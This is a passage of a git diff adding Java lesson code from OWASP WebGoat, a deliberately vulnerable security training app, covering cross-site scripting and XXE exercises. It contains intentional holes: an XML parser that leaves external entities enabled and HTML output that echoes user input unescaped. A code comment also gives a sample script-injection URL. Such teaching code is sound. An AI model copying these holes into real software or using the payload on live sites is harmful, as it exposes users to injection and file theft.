at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.xss; + +import lombok.extern.slf4j.Slf4j; +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AssignmentHints; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; + +// @RestController +@Deprecated +// TODO This assignment seems not to be in use in the UI +// it is there to make sure the lesson can be marked complete +// in order to restore it, make it accessible through the UI and uncomment RestController@Slf4j +@Slf4j +@AssignmentHints(value = {"xss-mitigation-4-hint1"}) +public class CrossSiteScriptingLesson4 extends AssignmentEndpoint { + + @PostMapping("/CrossSiteScripting/attack4") + @ResponseBody + public AttackResult completed(@RequestParam String editor2) { + + String editor = editor2.replaceAll("\\<.*?>", ""); + log.debug(editor); + + if ((editor.contains("Policy.getInstance(\"antisamy-slashdot.xml\"") + || editor.contains(".scan(newComment, \"antisamy-slashdot.xml\"") + || editor.contains(".scan(newComment, new File(\"antisamy-slashdot.xml\")")) + && editor.contains("new AntiSamy();") + && editor.contains(".scan(newComment,") + && editor.contains("CleanResults") + && editor.contains("MyCommentDAO.addComment(threadID, userID") + && editor.contains(".getCleanHTML());")) { + log.debug("true"); + return success(this).feedback("xss-mitigation-4-success").build(); + } else { + log.debug("false"); + return failed(this).feedback("xss-mitigation-4-failed").build(); + } + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/xss/CrossSiteScriptingLesson5a.java b/src/main/java/org/owasp/webgoat/lessons/xss/CrossSiteScriptingLesson5a.java new file mode 100644 index 000000000..9807d8d4e --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/xss/CrossSiteScriptingLesson5a.java @@ -0,0 +1,103 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.xss; + +import java.util.function.Predicate; +import java.util.regex.Pattern; +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AssignmentHints; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.owasp.webgoat.container.session.UserSessionData; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +@RestController +@AssignmentHints( + value = { + "xss-reflected-5a-hint-1", + "xss-reflected-5a-hint-2", + "xss-reflected-5a-hint-3", + "xss-reflected-5a-hint-4" + }) +public class CrossSiteScriptingLesson5a extends AssignmentEndpoint { + + public static final Predicate XSS_PATTERN = + Pattern.compile( + ".*.*", Pattern.CASE_INSENSITIVE) + .asMatchPredicate(); + @Autowired UserSessionData userSessionData; + + @GetMapping("/CrossSiteScripting/attack5a") + @ResponseBody + public AttackResult completed( + @RequestParam Integer QTY1, + @RequestParam Integer QTY2, + @RequestParam Integer QTY3, + @RequestParam Integer QTY4, + @RequestParam String field1, + @RequestParam String field2) { + + if (XSS_PATTERN.test(field2)) { + return failed(this).feedback("xss-reflected-5a-failed-wrong-field").build(); + } + + double totalSale = + QTY1.intValue() * 69.99 + + QTY2.intValue() * 27.99 + + QTY3.intValue() * 1599.99 + + QTY4.intValue() * 299.99; + + userSessionData.setValue("xss-reflected1-complete", "false"); + StringBuilder cart = new StringBuilder(); + cart.append("Thank you for shopping at WebGoat.
Your support is appreciated


"); + cart.append("

We have charged credit card:" + field1 + "
"); + cart.append(" -------------------
"); + cart.append(" $" + totalSale); + + // init state + if (userSessionData.getValue("xss-reflected1-complete") == null) { + userSessionData.setValue("xss-reflected1-complete", "false"); + } + + if (XSS_PATTERN.test(field1)) { + userSessionData.setValue("xss-reflected-5a-complete", "true"); + if (field1.toLowerCase().contains("console.log")) { + return success(this) + .feedback("xss-reflected-5a-success-console") + .output(cart.toString()) + .build(); + } else { + return success(this) + .feedback("xss-reflected-5a-success-alert") + .output(cart.toString()) + .build(); + } + } else { + userSessionData.setValue("xss-reflected1-complete", "false"); + return failed(this).feedback("xss-reflected-5a-failure").output(cart.toString()).build(); + } + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/xss/CrossSiteScriptingLesson6a.java b/src/main/java/org/owasp/webgoat/lessons/xss/CrossSiteScriptingLesson6a.java new file mode 100644 index 000000000..d0252280c --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/xss/CrossSiteScriptingLesson6a.java @@ -0,0 +1,57 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.xss; + +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AssignmentHints; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.owasp.webgoat.container.session.UserSessionData; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +@RestController +@AssignmentHints( + value = { + "xss-reflected-6a-hint-1", + "xss-reflected-6a-hint-2", + "xss-reflected-6a-hint-3", + "xss-reflected-6a-hint-4" + }) +public class CrossSiteScriptingLesson6a extends AssignmentEndpoint { + @Autowired UserSessionData userSessionData; + + @PostMapping("/CrossSiteScripting/attack6a") + @ResponseBody + public AttackResult completed(@RequestParam String DOMTestRoute) { + + if (DOMTestRoute.matches("start\\.mvc#test(\\/|)")) { + // return ) + return success(this).feedback("xss-reflected-6a-success").build(); + } else { + return failed(this).feedback("xss-reflected-6a-failure").build(); + } + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/xss/CrossSiteScriptingMitigation.java b/src/main/java/org/owasp/webgoat/lessons/xss/CrossSiteScriptingMitigation.java new file mode 100644 index 000000000..89977ea79 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/xss/CrossSiteScriptingMitigation.java @@ -0,0 +1,38 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.xss; + +import org.owasp.webgoat.container.lessons.Category; +import org.owasp.webgoat.container.lessons.Lesson; + +public class CrossSiteScriptingMitigation extends Lesson { + @Override + public Category getDefaultCategory() { + return Category.A3; + } + + @Override + public String getTitle() { + return "xss-mitigation.title"; + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/xss/CrossSiteScriptingQuiz.java b/src/main/java/org/owasp/webgoat/lessons/xss/CrossSiteScriptingQuiz.java new file mode 100644 index 000000000..e193d262a --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/xss/CrossSiteScriptingQuiz.java @@ -0,0 +1,82 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.xss; + +import java.io.IOException; +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +@RestController +public class CrossSiteScriptingQuiz extends AssignmentEndpoint { + + String[] solutions = {"Solution 4", "Solution 3", "Solution 1", "Solution 2", "Solution 4"}; + boolean[] guesses = new boolean[solutions.length]; + + @PostMapping("/CrossSiteScripting/quiz") + @ResponseBody + public AttackResult completed( + @RequestParam String[] question_0_solution, + @RequestParam String[] question_1_solution, + @RequestParam String[] question_2_solution, + @RequestParam String[] question_3_solution, + @RequestParam String[] question_4_solution) + throws IOException { + int correctAnswers = 0; + + String[] givenAnswers = { + question_0_solution[0], + question_1_solution[0], + question_2_solution[0], + question_3_solution[0], + question_4_solution[0] + }; + + for (int i = 0; i < solutions.length; i++) { + if (givenAnswers[i].contains(solutions[i])) { + // answer correct + correctAnswers++; + guesses[i] = true; + } else { + // answer incorrect + guesses[i] = false; + } + } + + if (correctAnswers == solutions.length) { + return success(this).build(); + } else { + return failed(this).build(); + } + } + + @GetMapping("/CrossSiteScripting/quiz") + @ResponseBody + public boolean[] getResults() { + return this.guesses; + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/xss/DOMCrossSiteScripting.java b/src/main/java/org/owasp/webgoat/lessons/xss/DOMCrossSiteScripting.java new file mode 100644 index 000000000..11da6ea19 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/xss/DOMCrossSiteScripting.java @@ -0,0 +1,60 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.xss; + +import java.security.SecureRandom; +import javax.servlet.http.HttpServletRequest; +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.owasp.webgoat.container.session.UserSessionData; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +@RestController +public class DOMCrossSiteScripting extends AssignmentEndpoint { + + @PostMapping("/CrossSiteScripting/phone-home-xss") + @ResponseBody + public AttackResult completed( + @RequestParam Integer param1, @RequestParam Integer param2, HttpServletRequest request) { + UserSessionData userSessionData = getUserSessionData(); + SecureRandom number = new SecureRandom(); + userSessionData.setValue("randValue", String.valueOf(number.nextInt())); + + if (param1 == 42 + && param2 == 24 + && request.getHeader("webgoat-requested-by").equals("dom-xss-vuln")) { + return success(this) + .output("phoneHome Response is " + userSessionData.getValue("randValue").toString()) + .build(); + } else { + return failed(this).build(); + } + } +} +// something like ... +// http://localhost:8080/WebGoat/start.mvc#test/testParam=foobar&_someVar=234902384lotslsfjdOf9889080GarbageHere%3Cscript%3Ewebgoat.customjs.phoneHome();%3C%2Fscript%3E--andMoreGarbageHere +// or +// http://localhost:8080/WebGoat/start.mvc#test/testParam=foobar&_someVar=234902384lotslsfjdOf9889080GarbageHere"; + + static { + comments.add( + new Comment( + "secUriTy", + LocalDateTime.now().format(fmt), + "Comment for Unit Testing")); + comments.add(new Comment("webgoat", LocalDateTime.now().format(fmt), "This comment is safe")); + comments.add(new Comment("guest", LocalDateTime.now().format(fmt), "This one is safe too.")); + comments.add( + new Comment( + "guest", + LocalDateTime.now().format(fmt), + "Can you post a comment, calling webgoat.customjs.phoneHome() ?")); + } + + // TODO This assignment seems not to be in use in the UI + @GetMapping( + path = "/CrossSiteScriptingStored/stored-xss", + produces = MediaType.APPLICATION_JSON_VALUE, + consumes = ALL_VALUE) + @ResponseBody + public Collection retrieveComments() { + List allComments = Lists.newArrayList(); + Collection newComments = userComments.get(webSession.getUserName()); + allComments.addAll(comments); + if (newComments != null) { + allComments.addAll(newComments); + } + Collections.reverse(allComments); + return allComments; + } + + // TODO This assignment seems not to be in use in the UI + @PostMapping("/CrossSiteScriptingStored/stored-xss") + @ResponseBody + public AttackResult createNewComment(@RequestBody String commentStr) { + Comment comment = parseJson(commentStr); + + List comments = userComments.getOrDefault(webSession.getUserName(), new ArrayList<>()); + comment.setDateTime(LocalDateTime.now().format(fmt)); + comment.setUser(webSession.getUserName()); + + comments.add(comment); + userComments.put(webSession.getUserName(), comments); + + if (comment.getText().contains(phoneHomeString)) { + return (success(this).feedback("xss-stored-comment-success").build()); + } else { + return (failed(this).feedback("xss-stored-comment-failure").build()); + } + } + + private Comment parseJson(String comment) { + ObjectMapper mapper = new ObjectMapper(); + try { + return mapper.readValue(comment, Comment.class); + } catch (IOException e) { + return new Comment(); + } + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/xxe/BlindSendFileAssignment.java b/src/main/java/org/owasp/webgoat/lessons/xxe/BlindSendFileAssignment.java new file mode 100644 index 000000000..317ef948e --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/xxe/BlindSendFileAssignment.java @@ -0,0 +1,113 @@ +package org.owasp.webgoat.lessons.xxe; + +import static java.nio.charset.StandardCharsets.UTF_8; +import static org.apache.commons.lang3.RandomStringUtils.randomAlphabetic; +import static org.springframework.http.MediaType.ALL_VALUE; +import static org.springframework.http.MediaType.APPLICATION_JSON_VALUE; + +import java.io.File; +import java.io.IOException; +import java.nio.file.Files; +import java.util.HashMap; +import java.util.Map; +import lombok.extern.slf4j.Slf4j; +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AssignmentHints; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.owasp.webgoat.container.users.WebGoatUser; +import org.springframework.beans.factory.annotation.Value; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +/** + * ************************************************************************************************ + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, + * please see http://www.owasp.org/ + * + *

Copyright (c) 2002 - 2014 Bruce Mayhew + * + *

This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + *

This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; + * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + *

You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + *

Getting Source ============== + * + *

Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository + * for free software projects. + * + *

+ */ +@Slf4j +@RestController +@AssignmentHints({ + "xxe.blind.hints.1", + "xxe.blind.hints.2", + "xxe.blind.hints.3", + "xxe.blind.hints.4", + "xxe.blind.hints.5" +}) +public class BlindSendFileAssignment extends AssignmentEndpoint { + + private final String webGoatHomeDirectory; + private final CommentsCache comments; + private final Map userToFileContents = new HashMap<>(); + + public BlindSendFileAssignment( + @Value("${webgoat.user.directory}") String webGoatHomeDirectory, CommentsCache comments) { + this.webGoatHomeDirectory = webGoatHomeDirectory; + this.comments = comments; + } + + private void createSecretFileWithRandomContents(WebGoatUser user) { + var fileContents = "WebGoat 8.0 rocks... (" + randomAlphabetic(10) + ")"; + userToFileContents.put(user, fileContents); + File targetDirectory = new File(webGoatHomeDirectory, "/XXE/" + user.getUsername()); + if (!targetDirectory.exists()) { + targetDirectory.mkdirs(); + } + try { + Files.writeString(new File(targetDirectory, "secret.txt").toPath(), fileContents, UTF_8); + } catch (IOException e) { + log.error("Unable to write 'secret.txt' to '{}", targetDirectory); + } + } + + @PostMapping(path = "xxe/blind", consumes = ALL_VALUE, produces = APPLICATION_JSON_VALUE) + @ResponseBody + public AttackResult addComment(@RequestBody String commentStr) { + var fileContentsForUser = userToFileContents.getOrDefault(getWebSession().getUser(), ""); + + // Solution is posted by the user as a separate comment + if (commentStr.contains(fileContentsForUser)) { + return success(this).build(); + } + + try { + Comment comment = comments.parseXml(commentStr); + if (fileContentsForUser.contains(comment.getText())) { + comment.setText("Nice try, you need to send the file to WebWolf"); + } + comments.addComment(comment, false); + } catch (Exception e) { + return failed(this).output(e.toString()).build(); + } + return failed(this).build(); + } + + @Override + public void initialize(WebGoatUser user) { + comments.reset(user); + userToFileContents.remove(user); + createSecretFileWithRandomContents(user); + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/xxe/Comment.java b/src/main/java/org/owasp/webgoat/lessons/xxe/Comment.java new file mode 100644 index 000000000..90d06fdd1 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/xxe/Comment.java @@ -0,0 +1,46 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.xxe; + +import javax.xml.bind.annotation.XmlRootElement; +import lombok.AllArgsConstructor; +import lombok.Getter; +import lombok.NoArgsConstructor; +import lombok.Setter; +import lombok.ToString; + +/** + * @author nbaars + * @since 4/8/17. + */ +@Getter +@Setter +@AllArgsConstructor +@NoArgsConstructor +@XmlRootElement +@ToString +public class Comment { + private String user; + private String dateTime; + private String text; +} diff --git a/src/main/java/org/owasp/webgoat/lessons/xxe/CommentsCache.java b/src/main/java/org/owasp/webgoat/lessons/xxe/CommentsCache.java new file mode 100644 index 000000000..b949f0abe --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/xxe/CommentsCache.java @@ -0,0 +1,137 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.xxe; + +import static java.util.Optional.empty; +import static java.util.Optional.of; + +import com.fasterxml.jackson.databind.ObjectMapper; +import java.io.IOException; +import java.io.StringReader; +import java.time.LocalDateTime; +import java.time.format.DateTimeFormatter; +import java.util.ArrayList; +import java.util.Comparator; +import java.util.HashMap; +import java.util.Map; +import java.util.Optional; +import javax.xml.XMLConstants; +import javax.xml.bind.JAXBContext; +import javax.xml.bind.JAXBException; +import javax.xml.stream.XMLInputFactory; +import javax.xml.stream.XMLStreamException; +import org.owasp.webgoat.container.session.WebSession; +import org.owasp.webgoat.container.users.WebGoatUser; +import org.springframework.context.annotation.Scope; +import org.springframework.stereotype.Component; + +@Component +@Scope("singleton") +public class CommentsCache { + + static class Comments extends ArrayList { + void sort() { + sort(Comparator.comparing(Comment::getDateTime).reversed()); + } + } + + private static final Comments comments = new Comments(); + private static final Map userComments = new HashMap<>(); + private static final DateTimeFormatter fmt = DateTimeFormatter.ofPattern("yyyy-MM-dd, HH:mm:ss"); + + private final WebSession webSession; + + public CommentsCache(WebSession webSession) { + this.webSession = webSession; + initDefaultComments(); + } + + void initDefaultComments() { + comments.add(new Comment("webgoat", LocalDateTime.now().format(fmt), "Silly cat....")); + comments.add( + new Comment( + "guest", + LocalDateTime.now().format(fmt), + "I think I will use this picture in one of my projects.")); + comments.add(new Comment("guest", LocalDateTime.now().format(fmt), "Lol!! :-).")); + } + + protected Comments getComments() { + Comments allComments = new Comments(); + Comments commentsByUser = userComments.get(webSession.getUser()); + if (commentsByUser != null) { + allComments.addAll(commentsByUser); + } + allComments.addAll(comments); + allComments.sort(); + return allComments; + } + + /** + * Notice this parse method is not a "trick" to get the XXE working, we need to catch some of the + * exception which might happen during when users post message (we want to give feedback track + * progress etc). In real life the XmlMapper bean defined above will be used automatically and the + * Comment class can be directly used in the controller method (instead of a String) + */ + protected Comment parseXml(String xml) throws JAXBException, XMLStreamException { + var jc = JAXBContext.newInstance(Comment.class); + var xif = XMLInputFactory.newInstance(); + + if (webSession.isSecurityEnabled()) { + xif.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, ""); // Compliant + xif.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, ""); // compliant + } + + var xsr = xif.createXMLStreamReader(new StringReader(xml)); + + var unmarshaller = jc.createUnmarshaller(); + return (Comment) unmarshaller.unmarshal(xsr); + } + + protected Optional parseJson(String comment) { + ObjectMapper mapper = new ObjectMapper(); + try { + return of(mapper.readValue(comment, Comment.class)); + } catch (IOException e) { + return empty(); + } + } + + public void addComment(Comment comment, boolean visibleForAllUsers) { + comment.setDateTime(LocalDateTime.now().format(fmt)); + comment.setUser(webSession.getUserName()); + if (visibleForAllUsers) { + comments.add(comment); + } else { + var comments = userComments.getOrDefault(webSession.getUserName(), new Comments()); + comments.add(comment); + userComments.put(webSession.getUser(), comments); + } + } + + public void reset(WebGoatUser user) { + comments.clear(); + userComments.remove(user); + initDefaultComments(); + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/xxe/CommentsEndpoint.java b/src/main/java/org/owasp/webgoat/lessons/xxe/CommentsEndpoint.java new file mode 100644 index 000000000..721e649ea --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/xxe/CommentsEndpoint.java @@ -0,0 +1,48 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.xxe; + +import java.util.Collection; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.http.MediaType; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +/** + * @author nbaars + * @since 5/4/17. + */ +@RestController +@RequestMapping("xxe/comments") +public class CommentsEndpoint { + + @Autowired private CommentsCache comments; + + @GetMapping(produces = MediaType.APPLICATION_JSON_VALUE) + @ResponseBody + public Collection retrieveComments() { + return comments.getComments(); + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/xxe/ContentTypeAssignment.java b/src/main/java/org/owasp/webgoat/lessons/xxe/ContentTypeAssignment.java new file mode 100644 index 000000000..2e54dc1d8 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/xxe/ContentTypeAssignment.java @@ -0,0 +1,100 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.xxe; + +import static org.springframework.http.MediaType.APPLICATION_JSON_VALUE; + +import javax.servlet.http.HttpServletRequest; +import org.apache.commons.exec.OS; +import org.apache.commons.lang3.exception.ExceptionUtils; +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AssignmentHints; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.owasp.webgoat.container.session.WebSession; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.beans.factory.annotation.Value; +import org.springframework.http.MediaType; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.RequestHeader; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +@RestController +@AssignmentHints({"xxe.hints.content.type.xxe.1", "xxe.hints.content.type.xxe.2"}) +public class ContentTypeAssignment extends AssignmentEndpoint { + + private static final String[] DEFAULT_LINUX_DIRECTORIES = {"usr", "etc", "var"}; + private static final String[] DEFAULT_WINDOWS_DIRECTORIES = { + "Windows", "Program Files (x86)", "Program Files", "pagefile.sys" + }; + + @Value("${webgoat.server.directory}") + private String webGoatHomeDirectory; + + @Autowired private WebSession webSession; + @Autowired private CommentsCache comments; + + @PostMapping(path = "xxe/content-type") + @ResponseBody + public AttackResult createNewUser( + HttpServletRequest request, + @RequestBody String commentStr, + @RequestHeader("Content-Type") String contentType) + throws Exception { + AttackResult attackResult = failed(this).build(); + + if (APPLICATION_JSON_VALUE.equals(contentType)) { + comments.parseJson(commentStr).ifPresent(c -> comments.addComment(c, true)); + attackResult = failed(this).feedback("xxe.content.type.feedback.json").build(); + } + + if (null != contentType && contentType.contains(MediaType.APPLICATION_XML_VALUE)) { + String error = ""; + try { + Comment comment = comments.parseXml(commentStr); + comments.addComment(comment, false); + if (checkSolution(comment)) { + attackResult = success(this).build(); + } + } catch (Exception e) { + error = ExceptionUtils.getStackTrace(e); + attackResult = failed(this).feedback("xxe.content.type.feedback.xml").output(error).build(); + } + } + + return attackResult; + } + + private boolean checkSolution(Comment comment) { + String[] directoriesToCheck = + OS.isFamilyMac() || OS.isFamilyUnix() + ? DEFAULT_LINUX_DIRECTORIES + : DEFAULT_WINDOWS_DIRECTORIES; + boolean success = false; + for (String directory : directoriesToCheck) { + success |= org.apache.commons.lang3.StringUtils.contains(comment.getText(), directory); + } + return success; + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/xxe/Ping.java b/src/main/java/org/owasp/webgoat/lessons/xxe/Ping.java new file mode 100644 index 000000000..f71dbd7dd --- /dev/null +++ 